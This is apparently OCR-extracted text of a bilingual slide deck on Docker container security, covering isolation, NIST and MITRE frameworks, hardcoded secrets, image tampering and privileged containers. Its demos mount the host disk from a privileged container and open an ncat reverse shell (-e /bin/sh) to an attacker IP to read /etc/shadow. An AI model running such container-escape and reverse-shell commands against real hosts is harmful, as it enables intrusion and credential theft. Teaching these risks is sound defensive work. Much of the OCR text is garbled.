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Client Docker Hub (Registry)
: Docker build ]* ------------- 5 -_-::;—:—r’—->[ Docker Daemon ]*-------- - —— -1 -——:;:———*[ Ubuntu
1 ¥ .

: I)OCkerlound ]* ______ T ;I /%'I!:m&!ﬂ:!l'\f‘//1lliiiiiilk\\ ; | Ngﬁnx
, s g | e , MongoDB
| Docker build ]*-"’ <_____\,[ Ubuntu ]«,—f

Golang

[ Nginx ]
o N\ /
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Virtual Machines vs Container

Appl

Bins/Libs

Virtual Machines

Bins/Libs Bins/Libs

Hypervisor

Operating System
(Linux,Windows)

Infrastructure
(Physical Server, Cloud Platform)

Containers

Bins/Libs Bins/Libs Bins/Libs

Container Engine

Operating System
(Linux,Windows)

Infrastructure

(Physical Server, Cloud Platform)
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Home / Blog / 60% of Organizations Suffered a Container Security Incident in 2018, Finds Study

60% of Organizations Suffered a Container Security Incident
in 2018, Finds Study

Posted on January 7, 2019 A Topics Features Webinars White Papers Podcasts Events & Conferences Directory

NEWS 6 NOV 2023

Over Half of Users Report Kubernetes/Container
Security Incidents

NEWS 31JAN 2024

Sysdig Report Exposes 91% Failure in Runtime Scans

) Alessandro Mascellino ADVERTISEMENT
‘ " Freelance Journalist
y Email Alessandro  Follow @a_mascellino

E A substantial 91% of runtime scans are failing within organizations, signaling a

significant reliance on identifying issues rather than preventing them, according to You may also like
Sysdig's latest report. |

https://www.tripwire.com/state-of-security/organizations-container-security-incident
https://www.infosecurity-magazine.com/news/half-users-kubernetescontainer/
https://www.infosecurity-magazine.com/news/91-failure-runtime-scans/

HETRERERS RE— TR 10



HERERERA RE— TR




Questions

AR EEEKEE

A BeEABFIEHAERIRIESR ?

File System = d01a] #Z [ BERY ?

HOESFEPEEEZFEH /Y Process ~ Network Interface » ELEE RS EEWRIREER ?
REZGERERZKMEZMESIR EDR IF ?
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Key Technical
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Containerized Process

N oo

Bl E 7L 2 Processes
AR TES Bay,  BEUEWERNAENRG - oliiEAS "B ENER .

A container is still a Linux process running on the host machine, but it has a
limited view of that host machine, and 1t has access to only a subtree of the

filesystem and perhaps to a limited set of resources restricted by cgroups.



Containerized Process

N oo

Bl E 7L 2 Processes
AR TES Bay,  BEUEWERNAENRG - oliiEAS "B ENER .

Namespace Rootfs

A congééner is still a Linux process running on the host machine}\but it has a
limited view of that host machine, and 1t has access to only a subtree of the

filesystem and perhaps to a limited set of resources restricted by cgroups.

IS

Cgroups
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SasAlroot=E2rootls

Host OS

Container

HETRERERS RE— TR




o oo

= an

AHEJrootErootls

docker run --rm -1t ubuntu:20.04 bash
rootgccffl6e643f1:/# id
uid=0(root) gid=0(root) groups=0(root)
rootgccff16e643f1:/# sleep 9999

—

ps aux | grep sleep
root 0091 0.0 0.0 2516 584 pts/0
root 9213 0.0 0.0 6332 2152 pts/1
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05:54
05:54

root@ccff16e643f1: / 158x7

root@hackercat: ~ 158x26

0:00 9999
0:00 grep --color=auto



AasANHrootErootlE

BSesW L root B #1T sleep

/

i root@ccff16e643f1: / 158x7

—

docker run --rm -1t ubuntu:20.04 bash
rootgccfflee643f1:/# id
uid=0(root) gid=0(root) groups=0(root)
rootgccff16e643f1:/# sleep 9999

root@hackercat: ~ 158x26

—

ps aux | grep sleep
root 9091 0.0 0.0 2516 584 pts/0 05:54 0:00 9999

root 9213 0.0 0.0 . 6332 2152 pts/1 05:54 0:00 grep --color=auto

HEEFHEE sleep WHNTTE DA root
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R root@hackercat: ~ 158x7

docker run --rm -1t --user 1000:1000 ubuntu:20.04 bash
groups: cannot find name for group ID 1000
I have no name!gbca859bff23a:/%$ 1id
uid=1000 gid=1000 groups=1000
I have no name!gbca859bff23a:/$ sleep 8888

root@hackercat: ~ 158x26

£

ps aux | grep sleep
kali 9731 0.0 0.0 2516 516 pts/@ S+ ©05:59 0:00 8888

root 9738 ©.0 0.0 6332 2136 pts/1 S+ ©05:59 2:00 grep --color=auto
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AasANHrootErootlE

FesA L uid 1000 B9 1T sleep
25 root@hackercat: ~ 158x7

docker run --rm -1t --user 1000:1000 ubuntu:20.04 bash
groups: cannot find name for group ID 1000
I have no name!gbca859bff23a:/%$ 1id
uid=1000 gid=1000 groups=1000
I have no name!gbca859bff23a:/$ sleep 8888

root@hackercat: ~ 158x26

£

ps aux | grep sleep
kali 9731 0.0 0.0 2516 516 pts/@ S+ ©05:59 0:00 8888
root 9738 ©.0 0.0 - 6332 2136 pts/1 S+ ©05:59 2:00 grep --color=auto

FEBEFEHREE sleep WATTE 7% uid 1000 EFHZE kali
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Linux capability SELinux AppArmor Seccomp

* * * .
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PAdocker£ {5l : Registry -> Images -> Container
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A Registry
Stores Many
Static images

Images
Static persisted Container image

| App
3

Container
- Image- instance running
-/ 7 An app process (services/web)

Hosted Docker
Registry
On-Premises
Docker Trusted (‘'n" Private Organizations)

Registry on-prem.

Docker Hub
Registry

Docker Trusted
Registry on-prem,

Azure Container
Registry

AWS Container

Registry _ Public Cloud

{specific vendors}

Google Container
Registry

Quay
Registry

Other Cloud
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Container Life Cycle
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NIST SP 800-190

1. Developer systems

2. Testing and accreditation systems

3. Registries
4. Orchestrators

5. Hosts

HEDERIERA fRE— TR

Developer

Testing and Internal

Developer | [ Accreditation | Registry

Orchestrator

Developer
External

Registry

Host with
Containers

Host with
Containers

Host with

Containers

Host with
Containers

Image Creation,
Testing, and
Accreditation

Image Storage
and Retrieval

Container
Deployment and
Management

“\\
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NIST SP 800-190

Container Technology Life Cycle Security Considerations

Initiation Phase
Planning and Design Phase
Implementation Phase
Operations and Maintenance Phase

Disposition Phase
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MITRE ATT&CK Containers Matrix

Initial Access
3 technigues

Execution
4 techniques

Persistence
6 technigues

Privilege Escalation
5 technigues

Defense Evasion
7 technigues

Credential Access

3 techniques

Lateral Movement
1 technigues

Discovery
3 technigues

Impact

5 techniques

Exploit Public-Facing
Application

External Remote
Services

Caontainer
Administration
Comrmmand

Deploy Container

Valid Accounts 2

Default Accounts

Local Accounts

Scheduled
Task/Job (1

Caontainer
Orchestration Job

User Execution 1)

Malicious Image

Tactics

W E R ERE

HERERERS (RE TR

Account Manipulation 4

Account Manipulation ¢y

Additional Container
Cluster Roles

Create Account i

Local Account
External Remote Services

Implant Internal Image

Scheduled Task/Job 1y

Additional Container
Cluster Roles

Escape to Host

Exploitation for Privilege
Escalation

Build Image on Host

Deploy Container

Brute Force g)

Container and Use Altemate

Impair Defenses (1

Disable or Modify Tools

Indicator Removal

Scheduled Task/Job (4

Masquerading (1)

Password Guessing
Password Spraying

Credential Stuffing

Authentication
Material (1

Resource Discovery

Metwork Service
Discovery Application Access
Taoken

Permission Groups

Discovery

Steal Application Access
Token

Container Orchestration
Job

Match Legitimate Mame
or Location

Unsecured
Credentials (3

Container Orchestration
Job

u".falid Accounts (o)

Default Accounts

Local Accounts

u Valid Accounts (o

Default Accounts

Local Accounts

Techniques

W E IR

Use Alternate
Authentication
Material 1

Application Access Token

Valid Accounts iz

Default Accounts

Local Accounts

Credentials In Files

Container API

Data Destruction

Endpoint Denial of
Service

Inhibit System
Recovery

Metwork Denial of
Service

Resource Hijacking

BRI BB o ETRIPHERER !
AEEBRBRITTETEE
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Hardcoded
01 > Secrets

Insecure Container

02 / > Images

Privileged
Containers

Log Monitoring
04 > and Observability

> Containers
without Shell
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Hardcoded Secrets

FROM node:14
ENV DB_PASSWORD="myS3cretP@sswOrd"

ENV AWS_ACCESS_KEY_ID=AKIAXXX4QYYZAAAAOKN
ENV AWS_SECRET_ACCESS_KEY=6jbdINNMIjXXXXXXXXHVNVjuSCSsmD

RUN git config --global credential.helper ''aws codecommit credential-helper S@'

WORKDIR /app
COPY..

RUN npm install

CMD ["node", "server.js"]
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Hardcoded Secrets

FROM node:14

A
ENV DB_PASSWORD="myS3cretP@ssword" | AWSTZENE i

i

ENV AWS_ACCESS_KEY_ID=AKIAXXX4QYYZAAAAOKN
ENV AWS_SECRET_ACCESS_KEY=6jbdINNMIjXXXXXXXXHVNVjuSCSsmD

RUN git config --global credential.helper ''aws codecommit credential-helper S@'

~

WORKDIR /app credential.helper
COPY ..

RUN npm install

CMD ["node", "server.js"]
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Hardcoded Secrets - save to tar file

docker save -o ubuntu.tar ubuntu:20.04
tar -xvf ubuntu.tar

~/543deefe69924ee65ed77804c3c0a2le24de9eece274F4250a4325989de0bod1e
ls -al
total 73476
drwxr-xr-x 17 4096 Apr
4096 Apr
7 Apr
4096 Apr
4096 Apr
4096 Apr
4096 Apr
1320 Apr : json
75160576 Apr
7 Apr - Lib ->
9 Apr : lib32 ->
9 Apr - lib64 ->
10 Apr : libx32 ->
Apr -
Apr
Apr
Apr

[

lrwxrwxrwx
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
-rW-r--r--
-rW-r--r--
lrwxrwxrwx
lrwxrwxrwx
lrwxrwxrwx
Lrwxrwxrwx
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x

N

p.
1
p.
1
1
1
1
1
1
p.
2
p.
p.
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Hardcoded Secrets - ImageEZ& I & dive

wget https://github.com/wagoodman/dive/releases/download/v0.8.1/dive_0.8.1_linux_amd64.deb
sudo apt install ./dive_0.8.1_linux_amd64.deb -y

docker images
dive ubuntu:20.04

[e Current Layer Contents]
Permission UID:GID Size Filetree

[Layers]
Cmp Size Command

HETRERERS RE— TR

73 MB FROM sha256:e915d510

[Layer Details]

bin > usr/bin

drwxr-xr-x
drwxr-xr-x
drwxr-xr-x

Digest: sha256:e915d510ff2b469b8d03347ad6e785254beeb

449931f7631dbcede8e5f281540
Command :

-rw-r--r--
drwxr-xr-x

#(nop) ADD file:f0e219aa0262921f4667bbla79ad839b3efd -rw-r--r--

92e23eef2dl1b5eba9cfe4eaf78cc in /

[Image Details]

Total Image size: 73 MB
Potential wasted space: 0 B
Image efficiency score: 100 %

Count Total Space Path

“C Quit | Tab Switch view | “F Filter

—IWXTWXTIWX
- rWXYWXTrwX
—IWXYWXTWX
—IrWXYWXIrwX
—rWXTWXIwX
drwxr-xr-x
drwxr-xr-x
-rw-r--r--
-rw-r--r--
-rw-r--r--
-rw-yr--r--
-rw-r--r--
-rw-r--r--

Space Collapse dir | “Space Collapse

0000000000008 S
[T I~ I~ I T~ R~ O~ I~ I~ T~ T~ T~ R~ i~ T~ T~ I~

0B boot
0B dev
118 kB etc
0B .pwd.lock
3.0 kB adduser.c
100 B alternati
100 READM
awk »
nawk
pager
rmt >
w-=>/

apt.c

44
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70
FIAICEYE “A Added | “R Removed |




Hardcoded Secrets

How the overlay2 driver works

- e ER

Container mount | !

- - - — - -

Container layer ‘

p—

|
Image layer ey
| fle1

Docker constructs

RS RE— R
https://docs.docker.com/storage/storagedriver/overlayfs-driver/

"upperdir"

"lowerdir"

OverlaysFS constructs



Merged

Upperdir

Lowerdir 1

Lowerdir 2
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Hardcoded Secrets - Docker Image E& &

docker image inspect --format='{{json .GraphDriver}}' <IMAGE ID>

® -
docker image inspect --format='{{json .GraphDriver}}' 69fa5799148f | jq

¢+ "/var/lib/doc ?u:rx"(')\.wx'lw /bf4c8f1d1e05d8324aff689¢c0d791cc1928 )d4f40fed08279fda7d5/diff:/var/11
lib/docker ~'m'v1'lLz\r'l,w"’r 070cee7ee3 519499f834842e979d86dda4a79b187486b9b8d934 LfT: \1 /11b/docker/overlay2/6c8d
1d6fb6b808fed29a81d053505af59a4f t,‘ll(,“'fl,.”ﬂ,}L.)(~ 3c2f66afbd4ebb3fca4sl/diff:/var/lib/docker/overlay2/274c91cleafb24a50a06e9858a
411ae@8eab74ad7b )/h,(ifl( y81cffa %f(;a('lf&(?'(iiH"
/11b/docker/overla 76e2bfc67a5681659da3¢1311987826137b4b3c5aa 1(.-‘ 724b50
var/ l 1b/docl a ‘0 «'vx‘le‘;? /76e2bfc67a5681659da3¢c1311987826137b4b3c5aalc2a724b5@
var/1lib/docker/overlay2/76e2bfc67a5681659da3c1311987826137b4b3c )a.al(;Lﬁ.?E#’:)‘)L’J‘, 0
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Hardcoded Secrets - Docker commit

# $£17 Docker BR{&
docker build -t nginx-add-file .

B2 —EXT B 881 1T nginx-add-file BR &
docker run -d --name nginx-container nginx-add-file

# E A Sz AED
docker exec -it nginx-container bash

# EB =N EMIPREZE
rm /usr/share/nginx/html/hackercat.txt

# R B&
exit

# 15 B 2s NV E IR R 4 —1EFTEY Docker BE1Z

docker commit nginx-container nginx-remove-file

HETRERERS RE— TR

# Dockerfile
FROM nginx:latest

RUN echo "hello, i am hackercat" > /usr/share/nginx/html/hackercat.txt

® ~/overlay-demo
docker exec -1t nginx-container bash
rootgdb9cb8897d26:/# cat /usr/share/nginx/html/hackercat.txt
hello, 1 am hackercat
rootadb9cb8897d26:/# rm /usr/share/nginx/html/hackercat.txt
rootgdb9cb8897d26:/# cat /usr/share/nginx/html/hackercat.txt
cat: /usr/share/nginx/html/hackercat.txt: No such file or directory




Hardcoded Secrets - Docker commit

HETRERERS RE— TR

dive nginx-remove-file

[e Current Layer Contents]

Permission UID:GID Size Filetree

-rW-r--r-- : 108 B L— dash
drwxr-xr-x - 0 B misc

drwxr-xr-x 0:0 1.1 kB nginx

drwxr-xr-x D:0 1.1 kB L— html
-rw-r--r-- . 497 B {EE 50x.html

-I'W-r--r-- - 615 B index.html
e ~/overlay-demo/ela3ca5d881c2eab3e3fa73fH

tar xvf layer.tar

usr/

usr/share/

usr/share/nginx/

usr/share/nginx/html/

usr/share/nginx/html/hackercat. txt

® ~/overlay-demo/ela3ca5d881c2eab3e3fa73f"
cat usr/share/nginx/html/hackercat.txt
hello, i am hackercat



Hardcoded Secrets - Docker commit

dive nginx-remove-file

[e Current Layer Contents]

Permission UID:GID Size Filetree

-rW-r--r-- : 108 B L— dash
drwxr-xr-x - 0 B misc
drwxr-xr-x 0:0 1.1 kB nginx
drwxr-xr-x D:@ 1.1 kB L html

CTW-T--T-—— 00 G158 | | |

~/overlay-demo/ela3ca5d881c2ea63e3fa73f"
tar xvf layer.tar A
usr/ >
usr/share/ D D écjz E
usr/share/nginx/
usr/share/nginx/html/
usr/share/nginx/html/hackercat. txt

® ~/overlay-demo/ela3capd881c2eab3e3fa73f"
cat usr/share/nginx/html/hackercat.txt
hello, i am hackercat
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Insecure Container Images
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Insecure Container Images - BEImages

HE Al Cloud~ BET BLZ- Wa®E- f#- ITEXPLAIN

ﬁzﬁ%‘?‘ Docker Hub¢?ﬁ§ﬂ@1 600@%:§‘H*1%*E

SysdigZ3EDocker HUbFHEERRIERE R TLUEREIAAT » £8
ENHENPMERERARWE

AWSESE - GitHub

X/ REEF | 2022-11-28 8= EX

Palo Alto Networkst9tHEAE + SABAEFESUHBES

BERIE RS RE— R
https://www.ithome.com.tw/news/143546
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Insecure Container Images - EEImagesi&i&

HERERERS RE

—HIHER

docker run --rm nginx

e

docker images
TAG IMAGE ID CREATED SIZE
latest 7383c266ef25 12 days ago  188MB

~

docker run --rm nginx

/docker-entrypoint.sh: /docker-entrypoint.d/ is not empty, will attempt to perform configuration
/docker-entrypoint.sh: Looking for shell scripts in /docker-entrypoint.d/
/docker-entrypoint.sh: Launching /docker-entrypoint.d/10-listen-on-ipv6-by-default.sh
10-listen-on-ipv6-by-default.sh: info: Getting the checksum of /etc/nginx/conf.d/default.conf
10-listen-on-ipv6-by-default.sh: info: Enabled listen on IPv6 in /etc/nginx/conf.d/default.conf
/docker-entrypoint.sh: Sourcing /docker-entrypoint.d/15-local-resolvers.envsh
/docker-entrypoint.sh: Launching /docker-entrypoint.d/20-envsubst-on-templates.sh
/docker-entrypoint.sh: Launching /docker-entrypoint.d/30-tune-worker-processes.sh
/docker-entrypoint.sh: Configuration complete; ready for start up

12:43:24 [notice] 1#1: using the "epoll” event method

12:43:24 [notice] 1#1: nginx/1.25.5

12:43:24 [notice] 1#1: built by gcc 12.2.0 (Debian 12.2.0-14)

12:43:24 [notice] 1#1: 0S: Linux 5.19.0-kali2-amd64

12:43:24 [notice] 1#1: getrlimit(RLIMIT_NOFILE): 1048576:1048576

12:43:24 [notice] 1#1: start worker processes

12:43:24 [notice] 1#1: start worker process 29

12:43:24 [notice] 1#1: start worker process 30

12:43:24 [notice] 1#1: start worker process 31

12:43:24 [notice] 1#1: start worker process 32



Insecure Container Images - BEImagesi&iE

docker run --rm nginx

docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
nginx latest 1724bba9fe8d 6 seconds ago  188MB
nginx <none> 7383c266ef25 12 days ago 188MB

2 i

docker run --rm nginx
I am HackerCat
/docker-entrypoint.sh: /docker-entrypoint.d/ is not empty, will attempt to perform configuration
/docker-entrypoint.sh: Looking for shell scripts in /docker-entrypoint.d/
/docker-entrypoint.sh: Launching /docker-entrypoint.d/10-listen-on-ipvé6-by-default.sh
10-listen-on-ipv6-by-default.sh: info: Getting the checksum of /etc/nginx/conf.d/default.conf
10-listen-on-ipv6-by-default.sh: info: Enabled listen on IPv6 in /etc/nginx/conf.d/default.conf
/docker-entrypoint.sh: Sourcing /docker-entrypoint.d/15-local-resolvers.envsh
/docker-entrypoint.sh: Launching /docker-entrypoint.d/20-envsubst-on-templates.sh
/docker-entrypoint.sh: Launching /docker-entrypoint.d/30-tune-worker-processes.sh
/docker-entrypoint.sh: Configuration complete; ready for start up
2024/05/06 12:45:53 [notice] 1#1: using the "epoll" event method
2024/05/06 12:45:53 [notice] 1#1: nginx/1.25.5
2024/05/06 12:45:53 [notice] 1#1: built by gcc 12.2.0 (Debian 12.2.0-14)
2024/05/06 12:45:53 [notice] 1#1: 0S: Linux 5.19.0-kali2-amd64
2024/05/06 12:45:53 [notice] 1#1: getrlimit(RLIMIT_NOFILE): 1048576:1048576
2024/05/06 12:45:53 [notice] 1#1: start worker processes
2024/05/06 12:45:53 [notice] 1#1: start worker process 29
2024/05/06 12:45:53 [notice] 1#1: start worker process 30
2024/05/06 12:45:53 [notice] 1#1: start worker process 31
2024/05/06 12:45:53 [notice] 1#1: start worker process 32
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mkdir tmp
docker run --rm nginx cat /docker-entrypoint.sh > tmp/docker-entrypoint.sh
sed -i '3a echo "I am HackerCat"' tmp/docker-entrypoint.sh
docker build -t nginx:latest .

# Dockerfile

FROM nginx

COPY tmp/docker-entrypoint.sh /docker-entrypoint.sh

RUN chmod +x /docker-entrypoint.sh
ENTRYPOINT ["/docker-entrypoint.sh"]

CMD ["nginx", "-g", "daemon off;"]
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docker run --rm nginx

docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
nginx latest 1724bba9fe8d 6 seconds ago  188MB
nginx <none> 7383c266ef25 12 days ago 188MB

2 i

docker run --rm nginx
I am HackerCat
/docker-entrypoint.sh: /docker-entrypoint.d/ is not empty, will attempt to perform configuration
/docker-entrypoint.sh: Looking for shell scripts in /docker-entrypoint.d/
/docker-entrypoint.sh: Launching /docker-entrypoint.d/10-listen-on-ipvé6-by-default.sh
10-listen-on-ipv6-by-default.sh: info: Getting the checksum of /etc/nginx/conf.d/default.conf
10-listen-on-ipv6-by-default.sh: info: Enabled listen on IPv6 in /etc/nginx/conf.d/default.conf
/docker-entrypoint.sh: Sourcing /docker-entrypoint.d/15-local-resolvers.envsh
/docker-entrypoint.sh: Launching /docker-entrypoint.d/20-envsubst-on-templates.sh
/docker-entrypoint.sh: Launching /docker-entrypoint.d/30-tune-worker-processes.sh
/docker-entrypoint.sh: Configuration complete; ready for start up
2024/05/06 12:45:53 [notice] 1#1: using the "epoll" event method
2024/05/06 12:45:53 [notice] 1#1: nginx/1.25.5
2024/05/06 12:45:53 [notice] 1#1: built by gcc 12.2.0 (Debian 12.2.0-14)
2024/05/06 12:45:53 [notice] 1#1: 0S: Linux 5.19.0-kali2-amd64
2024/05/06 12:45:53 [notice] 1#1: getrlimit(RLIMIT_NOFILE): 1048576:1048576
2024/05/06 12:45:53 [notice] 1#1: start worker processes
2024/05/06 12:45:53 [notice] 1#1: start worker process 29
2024/05/06 12:45:53 [notice] 1#1: start worker process 30
2024/05/06 12:45:53 [notice] 1#1: start worker process 31
2024/05/06 12:45:53 [notice] 1#1: start worker process 32
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docker run --rm nginx

® : E{EE;:&:
docker images TR '§‘ E"] I m age
REPOSITORY TAG IMAGE ID CREATED SIZE
nginx latest 1724bba9fe8d 6 seconds ago  188MB
nginx <none> 7383c266ef25 12 days ago 188MB

2 i

docker run --rm nginx
I am HackerCat
/docker-entrypoint.sh: /docker-entrypoint.d/ is not empty, will attempt to perform configuration
/docker-entrypoint.sh: Looking for shell scripts in /docker-entrypoint.d/
/docker-entrypoint.sh: Launching /docker-entrypoint.d/10-listen-on-ipvé6-by-default.sh
10-listen-on-ipv6-by-default.sh: info: Getting the checksum of /etc/nginx/conf.d/default.conf
10-listen-on-ipv6-by-default.sh: info: Enabled listen on IPv6 in /etc/nginx/conf.d/default.conf
/docker-entrypoint.sh: Sourcing /docker-entrypoint.d/15-local-resolvers.envsh
/docker-entrypoint.sh: Launching /docker-entrypoint.d/20-envsubst-on-templates.sh
/docker-entrypoint.sh: Launching /docker-entrypoint.d/30-tune-worker-processes.sh
/docker-entrypoint.sh: Configuration complete; ready for start up
2024/05/06 12:45:53 [notice] 1#1: using the "epoll" event method
2024/05/06 12:45:53 [notice] 1#1: nginx/1.25.5
2024/05/06 12:45:53 [notice] 1#1: built by gcc 12.2.0 (Debian 12.2.0-14)
2024/05/06 12:45:53 [notice] 1#1: 0S: Linux 5.19.0-kali2-amd64
2024/05/06 12:45:53 [notice] 1#1: getrlimit(RLIMIT_NOFILE): 1048576:1048576
2024/05/06 12:45:53 [notice] 1#1: start worker processes
2024/05/06 12:45:53 [notice] 1#1: start worker process 29
2024/05/06 12:45:53 [notice] 1#1: start worker process 30
2024/05/06 12:45:53 [notice] 1#1: start worker process 31
2024/05/06 12:45:53 [notice] 1#1: start worker process 32

HETRERERS RE— TR



Insecure Container Images - BEImagesi&iE

docker run --rm nginx

docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
latest 1724bba9fe8d 6 seconds ago  188MB

<none> 7383 66€f25 ys a 188MB
R
SRR
docker run --rm ngln.XE EX T |
I am HackerCat

/docker-entrypoint.sh: /docker entryp01nt.d/ is not empty, will attempt to perform configuration
/docker-entrypoint.sh: Looking for shell scripts in /docker-entrypoint.d/
/docker-entrypoint.sh: Launching /docker-entrypoint.d/10-listen-on-ipvé6-by-default.sh
10-listen-on-ipv6-by-default.sh: info: Getting the checksum of /etc/nginx/conf.d/default.conf
10-listen-on-ipv6-by-default.sh: info: Enabled listen on IPv6 in /etc/nginx/conf.d/default.conf
/docker-entrypoint.sh: Sourcing /docker-entrypoint.d/15-local-resolvers.envsh
/docker-entrypoint.sh: Launching /docker-entrypoint.d/20-envsubst-on-templates.sh
/docker-entrypoint.sh: Launching /docker-entrypoint.d/30-tune-worker-processes.sh
/docker-entrypoint.sh: Configuration complete; ready for start up

2024/05/06 12:45:53 [notice] 1#1: using the "epoll" event method

2024/05/06 12:45:53 [notice] 1#1: nginx/1.25.5

2024/05/06 12:45:53 [notice] 1#1: built by gcc 12.2.0 (Debian 12.2.0-14)

2024/05/06 12:45:53 [notice] 1#1: 0S: Linux 5.19.0-kali2-amd64

2024/05/06 12:45:53 [notice] 1#1: getrlimit(RLIMIT_NOFILE): 1048576:1048576

2024/05/06 12:45:53 [notice] 1#1: start worker processes

2024/05/06 12:45:53 [notice] 1#1: start worker process 29

2024/05/06 12:45:53 [notice] 1#1: start worker process 30

2024/05/06 12:45:53 [notice] 1#1: start worker process 31

2024/05/06 12:45:53 [notice] 1#1: start worker process 32
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Overview Tags
Sort by Mewest - Filter Tags

TAG

6.5-php8.3-apache

Last pushed 9 hours ago by doijanky
Digest 0S/ARCH
3233dab7eb3a linux/386
071824caf184 linux/amdad
1b131e510c5b linux/arm/vs

wordpress () Docker Official Image + # 1B+ + ¢ 5.6K

The WordPress rich content management system can utilize plugins, widgets, and themes.

& Vulnerabilities

R EEAE RE— R
https://hub.docker.com/_/wordpress

|

Images (3)

Q Fa

Vulnerabilities (97)

Package

Packages (351)

[] Fixable packages

Vulnerabilities

Give feedback &

v debian/expat 2.5.0-1 0 “ 0 |2 o

> CVE-2023-532425 7.5 m

> CVE-2024-28757 A N/A L

5 CVE-2023-52426 (2 N/A L

b debian/libgerypt20 1.10.1-3 0 0 1 1 0

> debian/david 1.0.0-2 0 0 1 0 0

b debian/nghttp2 1.52.0-1+deb12u1 0 0 1 0 0
Anhinm lnmaninam® S5 E 05 ) N ) Ao )
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grype httpd:alpine3.18

® -
grype httpd:alpine3.18
Vulnerability DB
Pulled image
- Loaded image
 Parsed image
Cataloged contents
v Packages
v File digests
v File metadata
v Executables
Scanned for vulnerabilities

NAME INSTALLED FIXED-IN TYPE VULNERABILITY SEVERITY
busybox .36.1-r5 apk CVE-2023-42366 Medium
busybox .36.1-r5 apk CVE-2023-42365 Medium
busybox .36.1-r5 apk CVE-2023-42364 Medium
busybox .36.1-r5 apk CVE-2023-42363 Medium
busybox-binsh .36.1-r5 apk CVE-2023-42366 Medium
busybox-binsh .36.1-r5 apk CVE-2023-42365 Medium
busybox-binsh .36.1-r5 apk CVE-2023-42364 Medium
busybox-binsh .36.1-r5 apk CVE-2023-42363 Medium
httpd 4.58 binary CVE-2007-0086
httpd 4.58 binary CVE-1999-1237

WRBISIHHS RE IR httpd T binary CVE-1999-0236

b N NN B 2 R



Privileged Containers

#1T Docker-in-Dockerff —E3FEE B/ E X (Cl/CD)RIF =,

HEE—E

HETRERERS RE— TR

g O

(=T

\

NERE 5 —ES z=z(8 7 Docker-in-Docker), EmFEEZRAE B & I 15 HEAE

docker run --privileged -v /var/run/docker.sock:/var/run/docker.sock docker:dind

Container Engine

Operating System
(Linux,Windows)

Infrastructure
(Physical Server, Cloud Platform)

o
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What Privileged Flag Do

SEZEEEREHER T EE
By e AV A

The --privileged flag gives all capabilities to the container, and it also lifts all the limitations enforced by the device cgroup
controller. In other words, the container can then do almost everything that the host can do. This flag exists to allow special use-
cases, like running Docker within Docker.

> —(ElFF AR ARV AR AR

The --privileged flag gives all capabilities to the container. When the operator executes docker run --privileged, Docker will enable

access to all devices on the host as well as set some configuration in AppArmor or SELinux to allow the container nearly all the
same access to the host as processes running outside containers on the host.
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What Privileged Flag Do

SEZEEEREHER T EE
By e AV A

The --privileged flag gives all capabilities to the container, and it also lifts all the limitations enforced by the device cgroup
controller. In other words, the container can then do almost everything that the host can do. This flag exists to allow special use-
cases, like running Docker within Docker.

> —(ElFF AR ARV AR AR

The --privileged flag gives all capabilities to the container. When the operator executes docker run --privileged, Docker will enable

access to all devices on the host as well as set some configuration in AppArmor or SELinux to allow the container nearly all the
same access to the host as processes running outside containers on the host.
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Tips - BIZEF

HEDERERA RE—

HIHER

AR VA S 28 Bk AR

docker run --privileged -it --rm ubuntu bash

# BB

mkdir test

mount /dev/sdal test

cat test/etc/passwd | grep kali

® 2
docker run --privileged -it --rm ubuntu bash
rootg2dc4bef7e660:/# mkdir test
rootg2dc4bef7e660:/# mount /dev/sdal test
rootg2dc4sbef7e660:/# cat test/etc/passwd | grep kali
:X:1000:1000:Kali,,, :/home/ :/bin/bash
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What Privileged Flag Do

B2 EBESYAfE R --privileged flag I

docker run --rm --cap-add=sys_admin --cap-add mknod --device=/dev/fuse \
--security-opt seccomp=/usr/share/containers/seccomp.json \
--security-opt label=disable --security-opt apparmor=unconfined \
quay.io/podman/stable podman run ubi8-minimal echo hello

--cap-add=sys_admin : #i& sys_admin 87

--cap-add mknod : 1€ mknod 8571 - RAFBRBIUEKENH

--device=/dev/fuse : I EHHAY /dev/fuse RERHBITRANE - ERROULIGIEZER

)

--security-opt seccomp=/usr/share/containers/seccomp.json : 5% seccomp &% X

--security-opt label=disable : {8 SELinux

)

R R --security-opt apparmor=unconfined : % AppArmor 5% %E A 2Rl

55



What Privileged Flag Do

©
wn

HETRERERS RE— TR



Log Monitoring and Observability

HEIBEZEdebughi A ?

" "log-driver": "json-file",

R1FHAPR "log-opts": {
"max-size": "10m",
"max-file": "3",

"labels": "production_status",
env": "os,customer"

e =

docker logs a28ff77796fc
I am HackerCat
/docker-entrypoint.sh: /docker-entrypoint.d/ is not empty, will attempt to perform configuration
/docker-entrypoint.sh: Looking for shell scripts in /docker-entrypoint.d/
/docker-entrypoint.sh: Launching /docker-entrypoint.d/10-listen-on-ipv6-by-default.sh
10-listen-on-ipv6-by-default.sh: info: Getting the checksum of /etc/nginx/conf.d/default.conf
10-listen-on-ipv6-by-default.sh: info: Enabled listen on IPv6 in /etc/nginx/conf.d/default.conf
/docker-entrypoint.sh: Sourcing /docker-entrypoint.d/15-local-resolvers.envsh
/docker-entrypoint.sh: Launching /docker-entrypoint.d/20-envsubst-on-templates.sh
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Containers without Shell

# attacker
nc -lvnp 6666

# victim
docker run --privileged --net=host --pid=host --ipc=host --volume /:/host raesene/ncat <attacker-IP> 6666 -e /bin/sh

o =
docker run --privileged --net=host --pid=host --ipc=host --volume /:/host raesene/ncat 192.168.101.148 6666 -e /bin/sh

|
Victim

nc -lvnp 6666
listening on [any] 6666 ...
connect to [192.168.101.148] from (UNKNOWN) [192.168.101.148)] 35382
id
uid=0(root) gid=0(root) groups=0(root)
cat /host/etc/shadow | grep kali
kali:$y$7joT$zX1YGE7K4728dt1VFQg4QO$0E3cGdS4ts/2ph5CgoB5SKx0HYXualolZL53b.SLTw6:18777:0:99999:7: ::
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Containers without Shell - Distroless Image

[ GoogleContainerTools / distroless ' Public

cloudbuild
.github

base

common

examples

<> Code @ Issues 74 11 Pull requests 5§ @ Actions [f] Projects 0] Security |~ Insights
¥ main - ¥ 6Branches (> 0 Tags Q
.J bobcallaway Merge pull request #1584 from GoogleContainerTools/update-sn... @@

remove kms singing of builds, keyles

Only create knife updates for actual

chore: minimize diff

apt

chore: minimize diff

chore: minimize diff

% SIS RE— TR
